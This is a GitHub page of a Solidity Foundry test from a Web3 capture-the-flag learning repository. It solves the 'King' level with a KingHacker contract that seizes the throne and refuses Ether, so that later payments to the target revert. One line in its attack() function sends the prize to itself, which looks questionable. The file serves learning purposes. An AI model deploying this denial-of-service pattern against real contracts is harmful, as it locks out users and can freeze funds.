forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
King.t.sol
41 lines (33 loc) · 1 KB
/
King.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {King} from "../src/King.sol";
contract KingTest is Test {
King target;
KingHacker hackTarget;
function setUp() public {
target = new King{value: 1 ether}();
hackTarget = new KingHacker(address(target));
}
function test_KingToReceiveEther() public {
hackTarget.attack();
assert(target._king() == address(hackTarget));
uint256 prize = target.prize();
address user = makeAddr("real user");
deal(user, prize);
vm.prank(user);
vm.expectRevert();
payable(address(target)).transfer(prize);
}
}
contract KingHacker {
King target;
constructor(address _target) {
target = King(payable(_target));
}
function attack() public payable {
uint256 prize = target.prize();
payable(address(this)).transfer(prize);
payable(address(target)).transfer(prize);
}
}